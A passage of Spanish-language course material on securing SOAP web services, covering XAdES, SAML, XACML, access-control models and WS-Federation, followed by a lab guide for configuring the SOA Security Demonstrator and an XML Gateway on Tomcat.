mensajería SOAP. Independientemente de los tipos de intermediarios como puertos,
workstations, cortafuegos, etc. que sean atravesados por un bloque en el camino al
receptor, todo aquel que se encuentre por el camino sabrá:
o De dónde viene.
o (Dirección postal) La dirección a donde se supone que va.
o (Att) La persona o servicio específico en esa dirección que se supone va a recibirlo.
o Dónde debería ir si no puede ser remitido como estaba previsto.
o Todo esto lo incluye en la cabecera del mensaje SOAP.
WS-Addressing convierte los mensajes en unidades autónomas de comunicación. La

especificación WS-Addressing define dos tipos de elementos que se incorporan en los
mensajes SOAP:
o Endpoint references (EPR): referencias de invocación que identifican al punto

donde deben ser dirigidas las peticiones.
o Message information headers: son cabeceras específicas que contienen
información relacionada con la identificación que caracteriza al mensaje.
» XML Advanced electronic signatures (XAdES).Es un estándar del W3C y

propuesto por el ETSI europeo. XADES define un estándar de firma de documentos
basado en XML con:
o Soporte a múltiples CA's.

o Soporte a múltiples documentos.
o Soporte a documentos complejos.
o Soporte a múltiples formatos de documentos.
o Soporte a múltiples firmas en tiempos distintos.
o Soporte a time-stamping en tiempos distintos.

XAdES define seis perfiles (formas) según el nivel de protección ofrecido. Cada perfil
incluye y extiende al previo:
o XAdES-BES: forma básica que simplemente cumple los requisitos legales de la

directiva para firma electrónica avanzada.
o XAdES-EPES: forma básica a la que se la ha añadido información sobre la política
de firma.
o XAdES-T (timestamp): añade un campo de sellado de tiempo para proteger contra
el repudio.
o XAdES-C (complete): añade referencias a datos de verificación (certificados y listas
de revocación) a los documentos firmados para permitir verificación y validación
off-line en el futuro (pero no almacena los datos en sí mismos).
o XAdES-X (extended): añade sellos de tiempo a las referencias introducidas por
XAdES-C para evitar que pueda verse comprometida en el futuro una cadena de
certificados.
o XAdES-X-L (extended long-term): añade los propios certificados y listas de
revocación a los documentos firmados para permitir la verificación en el futuro
incluso si las fuentes originales (de consulta de certificados o de las listas de
revocación) no estuvieran ya disponibles.
o XAdES-A (archivado): añade la posibilidad de timestamping periódico (por ej.
cada año) de documentos archivados para prevenir que puedan ser comprometidos
debido a la debilidad de la firma durante un periodo largo de almacenamiento.
Control de acceso: gestión de identidad y relación de confianza
El control de acceso tiene dos fases:
» Identificación y autenticación.
» Autorización.

Cuando cualquier entidad de servicios web realiza una petición a otra en un esquema de
consumidor-proveedor, aquel debe ser autenticado de forma segura para llevar esta
función se dispone de mecanismos como:
» HTTP-based token authentication.

» SSL/TLS-certificate based authentication.
» Mediante tokens o assertions en la petición SOAP.
» Tickets Kerberos.
Sistema de gestión de identidades. NIST SP 800-95
La gestión de la identidad en arquitecturas (figura superior) SOA abarca toda la gama de

eventos relacionados con la identidad, sus atributos, la información y documentos
mediante los cuales se verifica la identidad de una entidad de servicio web. Las
credenciales se entregan dicha entidad y se autentican contra un sistema de gestión
de identidades. En SOA, la identidad y los atributos asociados a una entidad son la
base para la gestión de la confianza entre entidades proporcionando los servicios de
control de acceso a través de una correcta autenticación y autorización de acceso a los
recursos de los servicios.
Un sistema de gestión de identidades (IDMS) es responsable de verificar la

identidad de las entidades, registrarlas y asignar identificadores digitales.

Posteriormente permite los accesos a los recursos en base a los atributos de las entidades
o política de acceso determinada. Existen varias arquitecturas IDMS (figura siguiente):
» Aisladas (parwise): de poca escalabilidad. Cada servicio deber tener su propia base
de datos de identidades y gestionarla.
Problemas de escalabilidad

» Centralizadas (single sign on, brokered):
Brokered (centralizado)

Federadas para autenticación inter-dominios:
» Distribuidas: Gateways XML (figura siguiente).
Gateware XML: arquitectura distribuida

Modelos de autorización
Dada la naturaleza distribuida de las arquitecturas de servicios web, la gestión de la

autorización y de las credenciales de control de acceso para los usuarios en un entorno
SOA puede ser un reto. Este apartado describe una serie de modelos y prácticas que
pueden ser extendidos para capturar, administrar y hacer cumplir las decisiones de
control de acceso para los usuarios autorizados. Los modelos a emplear para gestión
de la autorización pueden ser:
» Role-based access control. Es un mecanismo de autorización que asocia un

conjunto de privilegios de acceso con una función particular, normalmente
corresponde a una función de trabajo. Con RBAC todos los accesos de usuario es
mediada a través de roles. RBAC simplifica la gestión de la seguridad al proporcionar
una estructura de jerarquía de roles. Además RBAC tiene amplias provisiones para
limitaciones de acceso de los usuarios sobre la base de las relaciones definidas por el
administrador. Esta característica hace posible la implementación de controles
complejos, tales como la separación del deber. Las restricciones pueden incluir
atributos ya sea estática o dinámicamente. Se puede utilizar la especificación XACML
para implementar RBAC.
» Attribute-based access control. ABAC proporciona un mecanismo para la

representación de un sujeto (ya sea un usuario o aplicación) perfil de acceso a través
de una combinación de los siguientes tipos de atributos:
o Atributos tema (s). Asociado con un tema que define la identidad y las
características de ese sujeto.
o Atributos de recursos (R). Asociado a un recurso, como un servicio web, la función
del sistema o los datos.
o Atributos de entorno (E). Describe el ambiente o contexto operativo, técnico o
situacional en el que se produce el acceso a la información.
Las reglas ABAC, se general a partir de funciones que toman como datos de entrada
los distintos tipos de atributos y decidir si el sujeto (S) puede acceder al recurso (R)
en un ambiente particular.

Se puede utilizar la especificación XACML o SAML para implementar ABAC.
Esquema RBAC
o El solicitante intenta acceder al recurso y suministrar el assertion de autenticación.

o El punto de aplicación de políticas (PEP) envía una solicitud de decisión de
autorización SAML al PDP.
o El PDP solicita ciertas aserciones de atributo que están asociadas con el solicitante.
o El AA devuelve las aserciones de atributo apropiadas.
o El PDP solicita la directiva XACML desde el almacén de políticas.
o El PDP recibe la política de XACML.
o Después de consultar la política XACML, el PDP envía una afirmación de decisión
de autorización al PEP.
o Basándose en la afirmación de decisión de autorización, el PEP concede al
solicitante acceso al recurso.
» Policy-based access control. El control de acceso basado en políticas (PBAC) es

una extensión lógica y algo acotado de ABAC que es útil para la aplicación de políticas
de control de acceso estrictas. PBAC introduce la noción de una autoridad política que
sirve como punto de decisión de acceso para el entorno de que se trate. Se centra más
en hacer cumplir de forma automática los controles de acceso de forma centralizada
(MAC) que son tradicionalmente mucho más acotados que los controles
discrecionales (DAC). Se puede utilizar la especificación XACML para implementar
PBAC.

» Risk adaptive access control. El control de acceso adaptativo riesgo (RAdAC) es

otra variación en los métodos tradicionales de control de acceso. A diferencia de
RBAC, ABAC, y PBAC, sin embargo, RAdAC toma decisiones de control de acceso
sobre la base de un perfil de riesgo relativa al sujeto y no necesariamente sobre la base
de una regla de política predefinida. La figura siguiente ilustra el proceso lógico que
rige RAdAC que utiliza una combinación de un nivel medido de riesgo de los sujetos
y una evaluación de las necesidades operacionales como los atributos primarios por
el cual se determinan los derechos de acceso del sujeto.
Modelo de autorización basado en el riesgo
Especificaciones para autenticación y autorización en SW
SAML y XACML son dos de las especificaciones que se pueden utilizar para
implementación de los modelos anteriores de gestión de la autorización.
Las relaciones de confianza y la concesión de privilegios no son dos conceptos sinónimos.

Los objetos de confianza se utilizan a menudo para llevar a cabo funciones privilegiadas.
El principio de mínimos privilegios debe aplicarse siempre

independientemente de la metodología de control de acceso en uso. En un entorno de
servicios web cada servicio web debe estar diseñado para no solicitar o esperar obtener
privilegios que exceden los privilegios mínimos necesarios para llevar a cabo la operación
que se pretende.
» SAML (security authorization markup language) SAML es un derivado de XML que

está diseñado para el intercambio de autenticación y autorización de datos. Este
framework facilita infraestructuras de llave pública que permiten realizar
intercambios de autenticaciones y autorizaciones. Tiene como objetivo principal crear
un conjunto de procesos que permitan realizar de forma segura, un canje de los datos
relacionados con la identidad y privilegios de los usuarios. Esta información de
seguridad se materializa en forma de afirmaciones hechas por una autoridad SAML
sobre un sujeto. El sujeto de una afirmación es aquella entidad objeto de las
afirmaciones realizadas por la autoridad SAML.
Las afirmaciones contienen varios tipos de información. Pueden informar acerca de

la autenticación, sobre atributo o sobre decisiones de autorización. Analizando el tipo
de declaraciones que pueden emitirse pueden definirse tres tipos de autoridades como
son: autoridad de autenticación, autoridad de atributos y puntos de decisión de
políticas.
SAML es un protocolo que permite implementar los servicios de autenticación y

autorización en SW. Las afirmaciones SAML suelen ser transferidas por los
proveedores de identidad a los proveedores de servicios. Las afirmaciones contienen
declaraciones que los proveedores de servicios utilizan para tomar decisiones de
control de acceso.
Tres tipos de declaraciones son proporcionados por SAML:
o Las declaraciones de autenticación de afirmar que el proveedor de servicios que

efectivamente se autenticó con el proveedor de identidad en un momento dado con
un método de autenticación.

o Una declaración de atributo afirma que un sujeto se asocia con ciertos atributos.
Un atributo es simplemente un par nombre-valor. Partes que confían en utilizar
los atributos para tomar decisiones de control de acceso.
o Una declaración de decisión de autorizar afirma que un sujeto se le permite realizar

una acción en un recurso presentado pruebas para ello. La expresividad de los
estados decisión de autorización en SAML se limita deliberadamente.
Una afirmación está compuesta de una o varias declaraciones. A continuación se debe

definir la información que contiene las declaraciones mediante uno o varios de entre
los siguientes elementos:
o Statement: una declaración realizada mediante una extensión al esquema.

o Subject statement: una declaración del sujeto de la afirmación realizada mediante
una extensión del esquema.
o Authentication statement: una afirmación de autenticación.
o Authorization decisión statement: una afirmación que contiene la información
relacionada con la decisión resultado de una evaluación de autorización.
o Attribute statement: una afirmación que contiene información de los atributos del
sujeto en favor del cual se está emitiendo la aseveración.
o Conditions: las condiciones bajo las cuales el assertion va a ser considerado válido.
Esquema de SAML
Fuente: https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language

A continuación se presenta un ejemplo de validación de un assertion SAML por parte de

un proveedor de un SW (figura siguiente):
Ejemplo de comunicación SAML

Fuente: https://en.wikipedia.org/wiki/SAML_2.0
» XACML (extensible authorization markup language). Se define XACML como un

estándar basado en la especificación XML que tiene como objetivo principal la
definición de un lenguaje que facilite la definición de la autorización. Es un lenguaje
que permite realizar especificaciones y definiciones sobre políticas de acceso. XACML
posibilita crear un modelo para el intercambio de información de autorización, así
como de almacenar y estructurar el citado almacenamiento de dicha información.

A partir del citado modelo se estandariza una base de comportamiento pero se le dota
de la flexibilidad necesaria para permitir a los diferentes sistemas que manifiesten sus
políticas de autorización. Así, por ejemplo, algunos sistemas basarán sus políticas en
usuarios, perfiles y páginas permitidas, mientras que otros los basarán en terminales,
transacciones y tipos de producto. XACML presenta dos esquemas:
o Un esquema para los mensajes de autorización: Este esquema define la estructura

del mensaje XML para un pedido de autorización (request), así como la estructura
del mensaje de respuesta (response), el cual indica si la autorización se concede o
no.
o Un esquema para expresar las políticas de acceso: definiendo la estructura XML de
las políticas de acceso. Las políticas son la unidad básica que expresa quién puede
hacer qué y bajo qué circunstancias o contexto.
XACML es un lenguaje unificado puede reemplazar varios lenguajes propietarios,

simplificando la administración de políticas y control de acceso:
o No es necesario capacitarse en distintas herramientas o lenguajes.
o Se reduce el impacto de volver a escribir las políticas de acceso al reemplazar un

sistema (por ejemplo, si un conjunto de aplicaciones se migran a un nuevo servidor
web y tanto el servidor anterior como el nuevo basan su estructura de control de
acceso en XACML, el esfuerzo de reescritura de las políticas será
considerablemente menor al necesario si ambos sistemas utilizaran estructuras
incompatibles).
o Cuando se implementa un nuevo sistema de autorización, los diseñadores no

necesitarán pensar desde cero un lenguaje nuevo e implementar herramientas de
configuración: pueden reutilizar código existente y administrar las diferentes
políticas XACML.

o La existencia de este lenguaje común también introduce oportunidades para

desarrollar adaptadores y traductores. Por ejemplo, una herramienta que permita
exportar una base de datos con información de roles y usuarios en estructuras XML
compatibles con XACML, las cuales podrán luego ser consumidas por cualquier
implementación XACML. Es lo suficientemente flexible para resolver las
necesidades más comunes de información de autorización. Los mecanismos de
extensibilidad de XACML permiten acomodar nuevas necesidades a medida que
sean necesarias, con impacto mínimo en los sistemas ya implementados. XACML
permite utilizar escenarios centralizados o descentralizados:
En un escenario centralizado un conjunto de políticas único se utiliza para

referirse al control de acceso sobre distintos tipos de recursos.
En un escenario descentralizado distintos puntos de control utilizan distintas

políticas y repositorios XACML. La utilización de XACML permite que algunas
políticas «apunten» a otras. Por ejemplo, una política aplicada a un dominio de
baja jerarquía puede combinarse con otra de mayor jerarquía. Un caso típico es
cómo una política departamental hereda lo definido en una política
organizacional.
» WS-Federation. Puede utilizarse esta especificación para autenticar a las entidades

de diferentes dominios. En una comunicación entre SW una de las partes podrá
utilizar Kerberos y otro Certificados X.509, podría necesitarse una traducción de los
datos que afectan a la seguridad entre las partes afectadas. Una federación es una
colección dominios de seguridad que han establecido relaciones en virtud del cual un
proveedor de uno de los dominios puede proporcionar acceso autorizado a los
recursos que gestiona sobre la base de la información de los participantes (como
puede ser su identidad) la cual debe ser afirmada por un proveedor de identidad
(Security token service).
WS-Federation es la especificación que describe la forma de llevar a cabo la

intermediación entre los participantes. Esta especificación tiene como objetivo
principal ayudar a la definición de los mecanismos de federación de dominios de
seguridad, ya sean distintos o similares.
Para ello define, categoriza e intermedia con los niveles de confianza de las
identidades, atributos y autenticación de los servicios web de todos los colaboradores.

En la especificación WS-Federation se definen perfiles asociados a las entidades que

servirán para clasificar los solicitantes que pueden adaptarse al modelo. Es por tanto
un objetivo prioritario de esta especificación habilitar la federación de la información
de las identidades, atributos, autenticación y autorización.
Ws-Federation, utiliza WS-Trust para obtención de tokens usados por los proveedores
de identidades en la autenticación de las entidades. Los tokens pueden ser assertions,
certificados X.509, ticket Kerberos, o usuario-password.
» WS-Trust. En esta especificación se incluye el proceso de solicitud, emisión y control

sobre tokens de seguridad y se permite la gestión de las relaciones de confianza entre
los servicios. WS-Security realiza una definición amplia de los mecanismos básicos
para proporcionar un entorno de trabajo seguro en el intercambio de mensajes. Esta
especificación, partiendo de los mecanismos básicos, va añadiendo primitivas
adicionales junto con extensiones para estandarizar el intercambio de tokens de
seguridad. Con ello se busca optimizar la emisión y propagación de las credenciales
de los servicios dentro de diferentes dominios de confianza.
Monitorización y auditoría
Como en las aplicaciones web y todo tipo de aplicaciones, la monitorización en tiempo

real de ejecución es crucial para saber lo que está pasando en el aspecto de la seguridad.
En SOA la auditoría se lleva a cabo mediante el uso de un sistema seguro de registro

distribuido y de firmas digitales WS-Security. A través de la instalación de un registro
seguro todos los elementos importantes firmados WS-Security se pueden almacenar
para fines de auditoría para determinar qué servicio web realiza la acción.
Un mecanismo común para la aplicación del mecanismo de registro es el desarrollo de

intermediarios de servicios web que registran de forma transparente información
sobre los mensajes SOAP capturados. Muchos servicios web costs utilizan su propio
mecanismo de registro no estándar. Son necesarios esfuerzos para permitir la
interoperabilidad entre los mecanismos de registro pero hasta que estén desarrolladas
las empresas deben apoyar la amplia variedad de mecanismos de registro en uso.

Disponibilidad
Existe una estrecha relación entre la disponibilidad, QoS y fiabilidad. La

disponibilidad tiene por objeto garantizar que la QoS y la fiabilidad se mantienen
incluso cuando el servicio de web se somete a intentos intencionados para comprometer
su operación.
¿Hasta qué punto QoS es consciente de que el servicio web opera en su nivel más
esperado de desempeño y fiabilidad asegurando que el servicio web opera correctamente
y de manera previsible en presencia de fallos no intencionados?. La disponibilidad
se asegura de que:
» El servicio web continuará operando correctamente y de manera previsible en

presencia de fallos intencionadamente asociados con los ataques de denegación de
servicio DoS.
» Si el servicio de web no puede evitar su fallo no se producirá en un estado inseguro

(es decir, el fracaso no dejará el servicio en sí, sus datos o su entorno vulnerables) a
menos que la política de la organización requiera que el servicio continúe operativo.
Seguridad servicio descubrimiento
UDDI proporciona un medio para publicar y localizar servicios web. En un principio el

foco principal de UDDI fue el registro mercantil universal (UBR), un directorio de acceso
público de los servicios web. La mayoría de los servicios web no son de uso público, por
lo que la especificación UDDI se amplió para incluir implementaciones particulares
del registro UDDI.
Un registro UDDI privado proporciona un mecanismo para que aplicaciones internas

y usuarios puedan descubrir y acceder a los servicios web dentro de una organización
con poca o ninguna interacción humana. UDDI v3 fue aprobado como un estándar
OASIS en 2005 pero a partir de este año todavía muchos registros UDDI implementan
UDDI v2, aun así UDDI v2 también es discutido.

Los registros UDDI proporcionan información acerca de las organizaciones y de los

servicios web que ofrecen a través de tres interfaces diferentes:
» Páginas blancas que proporcionan la identidad e información de contacto de una

organización.
» Páginas amarillas que dividen en categorías las organizaciones y proporcionan
información sobre sus servicios.
» Páginas verdes que proporcionan información sobre los servicios de la
organización: la ubicación de los servicios y la información vinculante.
Asegurar el proceso de descubrimiento también es importante para una organización

SOA. Si el registro puede ser dañado o si el documento WSDL del proveedor es
incorrecto, un atacante podría obtener acceso a información restringida o toda la
organización SOA puede fallar.
UDDI v3 implementa autenticación y proporciona soporte para firmar digitalmente

datos registrados mediante firmas XML, lo que permite a los solicitantes verificar la
autenticidad y la integridad de la información. Los documentos WSDL, sin
embargo, no soportan inherentemente firmas digitales, lo que significa que la
verificación de la autenticidad y la integridad requiere otro mecanismo como tmodels.
Un descubrimiento automatizado seguro todavía podría ser obstaculizado por el hecho
de que a pesar de que la identidad de una persona es de confianza, el servicio de
publicación puede ser dañino o puede, a su vez, utilizar un servicio malintencionado.
Mientras UDDI proporciona un registro para buscar y automáticamente conectarse a los

servicios web que ofrece, no existe un mecanismo para describir cómo conectarse a los
servicios de candidatos. Esto se hace a través del documento WSDL. El documento
WSDL de un servicio web se referencia a través las estructuras de datos:
bindingTemplate y tModel.
A un tModel se hace referencia desde la estructura de datos bindingTemplate

proporcionando una entrada tModelInstanceInfo para cada tModel que corresponde al
documento WSDL del servicio. Un tModel proporciona la ubicación del documento
WSDL de un servicio web pero elemento accessPoint de bindingTemplate específica la
ubicación del servicio web en sí.

Una vez que el solicitante recibe el documento WSDL para el servicio web candidato,
debe ser validado. El método más sencillo para hacer esto es proporcionar una firma
digital del documento WSDL. La versión v. 1.1 de WSDL no prevé un mecanismo interno
para la firma de documentos WSDL. Hasta que tal mecanismo esté disponible, el servicio
web candidato debe proporcionar una firma externa para el documento WSDL o el
solicitante debe verificar de forma independiente a través de comunicaciones fuera de
banda que el sitio proporciona el documento WSDL es una entidad de confianza.
Resumen de especificaciones de seguridad para Servicios Web SOAP

Lo + recomendado
Especificaciones de seguridad en servicios web
Para implementar la seguridad de un modelo de arquitectura distribuida orientada a

servicios como lo son los servicios web es necesario basarse en soluciones de seguridad
estandarizadas que existen para el protocolo SOAP, protocolo en el que basan su
comunicación muchos de los servicios web implementados en la actualidad.

No dejes de leer…
Magic quadrant for SOA governance technologies
Este artículo es una comparativa sobre las prestaciones en cuanto a servicios web y
arquitecturas SOA ofrecidas por las compañías más importantes, estableciendo un
ranking entre ellas en base a varios criterios incluida la seguridad de los mismos.

http://www.gartner.com/technology/reprints.do?id=1-2DC669J&ct=150409&st=sb
Amenazas y ataques a servicios web
El consorcio de Aplicaciones web WASC proporciona una clasificación detallada de las

amenazas que pueden sufrir las aplicaciones web, las cuales algunas de ellas pueden
materializarse en servicios web.


WS-ATTACK
WS-ATTACK.org aporta una clasificación detallada de los ataques que pueden sufrir los
servicios web, las cuales algunas de ellas pueden materializarse en servicios web.

http://www.ws-attacks.org/Welcome_to_WS-Attacks
Web Srevice Haccking (SOAPUI)
En este artículo encontraremos algunas pruebas simples que podemos realizar para
hacer la prueba del servicio web.

https://www.soapui.org/soap-and-wsdl/tips---tricks/web-service-hacking.html

+ Información
A fondo
XML Technology
Ampliación de la tecnología XML que incluye, XML Namespaces, XML Schema, XSLT,
Efficient XML Interchange (EXI).

https://www.w3.org/standards/xml/
Security design guidelines for web services
En esta página se pueden consultar una guía que puede servir de chacklist para cubrir
todos los aspectos y funciones de seguridad de los servicios web para su protección.

https://msdn.microsoft.com/en-us/library/ff649737.aspx

Especificaciones de seguridad para SW
La Junta de Andalucía provee de un sitio web que resume las especificaciones más
importantes para implementar la seguridad de un servicio web.

http://www.juntadeandalucia.es/servicios/madeja/contenido/recurso/211
OWASP

https://www.owasp.org/index.php/Web_Services
OASIS web services security (WSS) TC
Página del estándar abierto de seguridad de los servicios web.

https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wss

National institute os standars and technology
Página del Instituto de estándares y tecnología americano.

Cgisecutity
Cgisecurity proporciona información sobre seguridad web. Este sitio cubre aspectos de
seguridad de Bases de datos, Servidores web, Web application security, HTTP, Web
services security y más.

http://www.cgisecurity.com/ws.html
Bibliografía
Guía de seguridad de servicios web del NIST SP 800-95. Recuperado de

http://csrc.nist.gov/publications/nistpubs/800-95/SP800-95.pdf
Conceptos de seguridad en Servicios Web. Junta de Andalucía. Recuperado de

http://www.juntadeandalucia.es/servicios/madeja/contenido/recurso/211

Actividades
Trabajo: Configurar la seguridad de servicios web
Descripción
En esta actividad configuraremos la seguridad de servicios web mediante

soluciones de seguridad de open source.
Corisecio Corporate Information Security

http://opensource.corisecio.com/index.php?id=get_started y Eperi
http://eperi.de/en/open-source/eperi-xml-gateway/ ponen conjuntamente a libre
disposición varias soluciones diferentes para dar seguridad a servicios web.
Una vez revisada la documentación de la última y reciente versión (de abril de 2104) del
software para seguridad de servicios web (Corisecio y Eperi) no está adecuadamente
actualizada por EPERI y puede llevar a confusiones. Por tal motivo, se va a utilizar la
versión inmediatamente anterior cuya documentación está bastante bien ajustada a las
capacidades del software correspondiente a la versión inmediatamente anterior.
Todo el material está disponible en Internet en un alojamiento Dropbox
En esta actividad se van a utilizar conjuntamente dos soluciones de seguridad:
» SOA Security Demostrator para implementar servicios de autenticación, firma digital

y cifrado con una aplicación de compra de libros ejemplo. (8 de 10 puntos), diseñada
para aprendizaje.
» XML Gateway (opcional) para validación de esquemas y prevención de ataques SQLI
entre otros. (2 de 10 puntos).
Requisitos
El alumno debe manejar los conceptos de certificados digitales y su uso, uso de

algoritmos de claves públicas, uso de la firma digital, no repudio, autenticación,
integridad y cifrado. Además, debe conocer los conceptos y arquitectura de diseño de los
servicios web.

Metodología
En la figura 1, se presenta un esquema de lo que se pretende con esta actividad. Es una

demostración de lo que se puede conseguir con las soluciones anteriores siguiendo el
documento de ayuda Tutorial secRT demostrator y los documentos auxiliares de
referencia además de estas instrucciones.
» Se dispone de un servicio de tienda web de libros (consumer), otro servicio de

suministro de los libros (provider) y un tercer servicio que se encarga de posibilitar el
pago de los libros solicitados por un usuario (payment).
» Se dispone de tres conectores de seguridad (SOA Security Gateway), en la figura en

rojo que realizan las acciones de seguridad de autenticación, integridad, no repudio y
confidencialidad, descritas en la figura y detalladas más adelante.
» Cuando se despliegan los tres servicios se arranca una aplicación de monitorización

que intercala puertos (en amarillo) para poder ver tráfico de mensajes entre servicios
para comprender mejor las acciones que realizan los conectores de seguridad (en
rojo).
» Por último se intercala antes del servicio de pago un firewall XML (OPEN XML
GATEWAY) para implementar validación de esquemas y protección de ataques SQL-
XQUERY INJECTION.

Figura 1. Seguridad de servicios web con soluciones open source
Instalación
Para su instalación en plataforma con S.O. Windows, hay que seguir los pasos siguientes:
» Asegurarse de que los puertos 80, 443, 8080 están libres.
» Descargar SOA Demonstrator
Descarga SOA Demostrator a través de la siguiente dirección web:

https://www.dropbox.com/s/emlnz3ufl2aak83/SOA-DEMO.zip
El directorio resultante contiene las versiones de apache TOMCAT y de JAVA

necesarias. A continuación ejecutar startDemostrator.cmd (donde hay que
actualizar las rutas de instalación del producto para un correcto arranque
de TOMCAT con la versión de JAVA que trae consigo). Una vez actualizado el
script, se ejecuta para desplegar los tres servicios web sobre Apache Tomcat y
arrancar la aplicación de monitorización del tráfico XML.

» Ejemplo de script startDemostrator.cmd (actualizar las rutas convenientemente):
set JAVA_HOME= C:\...\SOA-DEMO\Java\

set CATALINA_HOME= C:\...\SOA-DEMO\SOA-DEMO\Tomcat
set PATH=%JAVA_HOME%\bin;%PATH%
cd "C:\...\SOA-DEMO\Tomcat\bin"
start cmd /ccall C:\... \SOA-DEMO\Tomcat\bin\startup.bat
cd "C:\...\SOA-DEMO"
cd TCPMonitor
start tcpmon.bat
cd C:\...\SOA-DEMO
» Se recomienda crear y alojar en el mismo subdirectorio que startDemostrator.cmd

un script (parar.cmd) para parar el servidor Apache, con el siguiente contenido
actualizando las rutas a vuestra particular configuración:
Contenido de Parar.cmd:
set JAVA_HOME=C:\Users\...\SOA-DEMO\Java\
set CATALINA_HOME=C:\Users\...\SOA-DEMO\Tomcat
set PATH=%JAVA_HOME%\bin;%PATH%
cd "C:\Users\...\SOA-DEMO\Tomcat\bin"
start cmd /ccall C:\Users\...\SOA-DEMO\Tomcat\bin\shutdown.bat
» Descargar XML Gateway desde:
Descarga XML Gateway a través de la siguiente dirección web:

https://www.dropbox.com/s/pp9ntpxqgrdvy6g/ROOT.war
o La solución es una aplicación desplegable en Apache denominada ROOT. Hay que

copiar ROOT.war en el directorio webapps del servidor Apache Tomcat de SOA
Demonstrator instalado en el paso anterior. De esta forma, al arrancar TOMCAT se
despliegan SOA SECURITY DEMOSTRATOR y XMLGATEWAY en la figura 1, para
poder configurar seguidamente la seguridad de los servicios web como se indica en la
figura 1.

Arranque de Tomcat con las soluciones de seguridad y la aplicación

tpcmonitor:
» Ejecutar  startDemonstrator.cmd arranca Tomcat, despliega SOA Demostrator

y XML Gateway y arranca Tcpmonitor.
» Importante: después de arrancar el servidor hay que descargar el fichero config.xml
de:
Descárgalo a través de la siguiente dirección web:

https://www.dropbox.com/sh/cgkzwq2z6qyy1kd/viPuZUC2ln
» Una vez descargado, hay que sustituir el fichero config.xml que viene por defecto en
la instalación en la ubicación:
C:\Users\...\SOA-DEMO\Tomcat\webapps\WSDemo\config.xml
por el descargado previamente de Dropbox, que tiene la parametrización correcta de

puertos para navegar a través de los puertos de Tcpmonitor.
» Parar y arrancar Apache Tomcat para que se cargue la nueva configuración.
Acceso a los conectores de seguridad de SOA Demostrator y Gateway XML:
Se accede mediante las URL,s siguientes:
o http://localhost:8080/consumer/
o http://localhost:8080/provider/
o http://localhost:8080/payment/
o http://localhost:8080/XMLGATEWAY/
La contraseña de acceso inicial es secRT.

Seguidamente se muestra una pantalla, donde hay que configurar la ubicación de la

base de datos derby que utiliza cada conector (ver apartado 4.4.3 Data store de la
UserGuide secRT):
» Hay que especificar una ruta con un subdirectorio final que no exista,
fuera del directorio WEBAPPS de aplicaciones de APACHE, por ejemplo:
C:\Users\...\SOA-DEMO\...
» Se configura un usuario/password.
» La clave de encriptación viene predefinida y se deja como está.
A continuación la aplicación del conector de seguridad redirige a la pantalla inicial y

ya se puede comenzar a configurar.
Configuración
Seguidamente, hay que configurar las funciones de seguridad de autenticación, firma y

cifrado de la petición-respuesta en cada conector de seguridad (en rojo) desplegados en
el servidor de aplicaciones Apache Tomcat donde también están desplegados los
servicios web, según la figura 1. (ver documentación que viene con el producto: Tutorial
secRT demostrator y otros de referencia para consultar la correcta parametrización de
las funciones). En cuanto a las funciones de cifrado, se aplican dos veces, una para los
datos de pago que son una parte de la orden de petición y la otra para toda la orden de
petición. Se deben cifrar por tanto, los datos de pago en primer lugar, porque van
incluidos dentro de la orden de pedido y deben viajar a través de provider cifrados hasta
payment que es quién solamente debe poder descifrarlos.
» Conector de seguridad de Consumer. Se accede mediante la url

http://localhost:8080/consumer/ (se puede utilizar también https). Se deben de
configurar las siguientes funciones de autenticación, firma y cifrado de la petición a
enviar en menú WORFLOW de Consumer:
o SetsecRTEntity.
o EctractFromRequest.
o WSSecurityAddSAMLToken (SAML 1.1).
o EncryptXPathForCertificate, para cifrar el elemento paymentInformation de la
petición XML.
o SignSOAPEnvelope.

o EncryptXPathForCertificate, para cifrar el elemento Order de la petición XML.

o EnvelopeInRequest.
o Proxy para redirigir la petición al servicio web provider a través del puerto 2100
del tcpmonitor.
En la respuesta se debe configurar:
o ExtractFromResponse.
o DecryptXPath para descifrar el resultado de la petición.
o EnvelopeInResponse.
» Conector de seguridad de Provider. Se accede mediante la url

http://localhost:8080/provider/ Descifra el elemento Order de la petición del
Consumer y verifica la firma. Se deben configurar para ello las siguientes funciones
en el menú WORKFLOW de provider.
o SetsecRTEntity.
o DecryptXPath, para descifrar el elemento Order de la petición XML.
o WSSecurityCheckSAMLToken (SAML 1.1).
o VerifySOAPEnvelope.
o Proxy para redirigir la petición al servicio web payment a través del puerto 2300
del tcpmonitor.
Para asegurar la respuesta se debe configurar:
o ExtractFromResponse.
o EncryptXPathForCertificate para cifrar el resultado de la petición: Elemento
OrderingResult.
o EnvelopeInResponse.

» Conector de seguridad de Payment. Se accede mediante la url

http://localhost:8080/payment/ Descifra la información de pago. Se deben
configurar para ello las siguientes funciones en el menú WORKFLOW de Payment:
o SetsecRTEntity.
o DecryptXPath, para descifrar el elemento paymentInformation de la petición
XML.
o Proxy para redirigir la petición al XMLGATEGAY (puerto 80) o al puerto 2600 del
TCPMonitor si se opta por no intercalar y configurar XMLGATEWAY.
» XML Gateway. (opcional) Se accede mediante la url

http://localhost:8080/XMLGATEWAY/. Está prácticamente configurado con
el nivel de seguridad en su nivel1 según se descarga y solamente hay que
configurar y habilitar las protecciones siguientes (ver apéndice):
o Ataques XQUERY INJECTION - SQLI. Para ello hay que diseñar una
expresión regular [1][2][3], que elimine caracteres y secuencias malignas sin
perjudicar el funcionamiento de los servicios. (ver vulnerabilidad sqli).
o Validación de Schema. Por defecto valida contra the standard schema for
SOAP 1.1 messages, por tanto, añadiendo la función de validación valida por
defecto. No obstante lo ideal es averiguar contra que esquema se valida
(http://soapuser.com/basics3.html) la envoltura de los mensajes. Se ve también
en los propios mensajes en el tráfico de la aplicación..
o Configurar la entidad provider del XmlGateway para que redirigir las peticiones
al puerto 2600 del TCPMonitor.
Recomendaciones
» Seguir la documentación para entender las funciones de seguridad a implementar. El

tutorial de SOA Demonstrator es el primer documento que deberíais consultar
aunque en las funciones implementadas en su ejemplo no son exactamente las
mismas que las de la práctica.

» Implementar primero la parte de los conectores de seguridad sin XMLGATEWAY.

Una vez instalados los conectores CONSUMER, PROVIDER y PAYMENT intercalar
XMLGATEWAY como en la figura y luego configurar las protecciones pedidas.
» Implementar las funciones de autenticación, firmado y cifrado de forma

escalonada no a la vez. Cuando se va superando una fase con una función
comprobando que funciona la aplicación se pasa a la siguiente.
» Se necesitara generar la clave pública de cada una de las tres entidades desde la
aplicación correspondiente a cada conector de cada una de las entidades Consumer,
Provider y Payment. Recordar el concepto de que para cifrar algo que se envía
